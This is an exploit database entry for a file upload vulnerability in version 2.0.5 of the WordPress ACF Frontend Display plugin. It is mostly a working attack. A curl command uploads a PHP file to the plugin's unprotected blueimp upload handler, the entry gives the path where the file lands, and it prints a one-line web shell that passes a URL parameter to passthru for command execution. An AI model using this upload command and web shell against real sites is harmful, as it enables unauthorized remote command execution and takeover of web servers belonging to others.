WordPress ACF Frontend Display Plugin 2.0.5 - File Upload Vulnerability

2015-07-08T00:00:00
ID 1337DAY-ID-23832
Type zdt
Reporter TUNISIAN CYBER
Modified 2015-07-08T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            +---------------------------------------------------------------------------+ 
#[+] Author: TUNISIAN CYBER 
#[+] Title: WP Plugin Free ACF Frontend Display File Upload Vulnerability 
#[+] Date: 3-07-2015 
#[+] Type: WebAPP 
#[+] Download Plugin: https://downloads.wordpress.org/plugin/acf-frontend-display.2.0.5.zip
#[+] Tested on: KaliLinux 
#[+] Friendly Sites: sec4ever.com 
#[+] Twitter: @TCYB3R 
+---------------------------------------------------------------------------+ 
 
curl -k -X POST -F "action=upload" -F "[email protected]/root/Desktop/evil.php" "site:wp-content/plugins/acf-frontend-display/js/blueimp-jQuery-File-Upload-d45deb1/server/php/index.php" 
 
File Path: site/wp-content/uploads/uigen_YEAR/file.php 
Example: site/wp-content/uploads/uigen_2015/evil.php 
evil.php: <?php passthru($_GET['cmd']); ?> 
 
 
TUNISIAN CYBER(miutex)-S4E

#  0day.today [2018-03-02]  #